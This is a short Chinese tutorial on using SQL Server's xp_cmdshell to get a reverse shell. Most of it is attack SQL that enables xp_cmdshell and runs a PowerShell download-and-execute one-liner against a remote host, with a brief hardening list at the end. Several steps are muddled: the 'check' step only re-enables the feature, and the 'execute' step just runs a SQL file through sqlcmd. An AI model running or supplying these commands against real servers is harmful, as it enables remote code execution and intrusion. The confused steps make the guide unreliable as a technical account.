shell利用MSSQL实现反向Shell渗透方法

1. 简介

Shell反向连接可使攻击者在不同的网络上获得访问目标主机的权限，该方法被广泛应用于网络脆弱性利用和黑客攻击中。对于SQL Server，反向Shell可以通过SQL Server的xp_cmdshell存储过程实现，该存储过程默认情况下是被禁用的。

2. 实现步骤

2.1 检查xp_cmdshell是否被启用

使用以下SQL语句检查是否启用了xp_cmdshell存储过程：

EXEC SP_CONFIGURE 'show advanced options',1

RECONFIGURE WITH OVERRIDE
EXEC SP_CONFIGURE 'xp_cmdshell',1
RECONFIGURE WITH OVERRIDE
EXEC SP_CONFIGURE 'show advanced options',0
RECONFIGURE WITH OVERRIDE

如果xp_cmdshell被禁用，则需要启用xp_cmdshell：

EXEC SP_CONFIGURE 'show advanced options',1

RECONFIGURE WITH OVERRIDE
EXEC SP_CONFIGURE 'xp_cmdshell',1
RECONFIGURE WITH OVERRIDE
EXEC SP_CONFIGURE 'show advanced options',0
RECONFIGURE WITH OVERRIDE

2.2 创建反向Shell脚本

使用以下SQL语句创建反向Shell脚本：

DECLARE @cmd AS VARCHAR(255)

DECLARE @url AS VARCHAR (100)
SET @url = '10.0.0.1'
SET @cmd = 'powershell.exe IEX (New-Object Net.WebClient).DownloadString('''+@url +''')'
EXEC xp_cmdshell @cmd

其中，@url为反向Shell连接的IP地址或域名。

2.3 执行反向Shell脚本

使用以下SQL语句执行反向Shell脚本：

EXEC sp_configure 'show advanced options', 1;

RECONFIGURE;
EXEC sp_configure 'xp_cmdshell', 1;
RECONFIGURE;
EXEC xp_cmdshell 'sqlcmd -S 192.168.1.100 -U sa -P password -i "C:\reverse_shell.sql" -o "C:\reverse_shell_output.txt"';
EXEC sp_configure 'xp_cmdshell', 0;
RECONFIGURE;
EXEC sp_configure 'show advanced options', 0;
RECONFIGURE;

其中，-S参数指的是MSSQL服务器IP地址，-U参数指的是MSSQL服务器的用户名，-P参数指的是MSSQL服务器的登录密码。反向Shell脚本路径和输出路径需要根据实际情况进行修改。

3. 安全问题

使用xp_cmdshell存储过程需要小心，因为攻击者可以执行任意命令，这可能会导致严重的安全问题。在使用xp_cmdshell之前，请确保：

禁止非必要的存储过程

使用有限的数据库账户来执行存储过程

限制用户权限并分配最低的权限级别

监视XP_cmdshell的使用和访问记录

4. 总结

通过SQL Server的xp_cmdshell存储过程实现反向Shell渗透方法可能会非常有用，但是需要谨慎使用以防止安全问题。在执行xp_cmdshell之前，请确保将其限制为最低权限，并且在安全监视下使用它。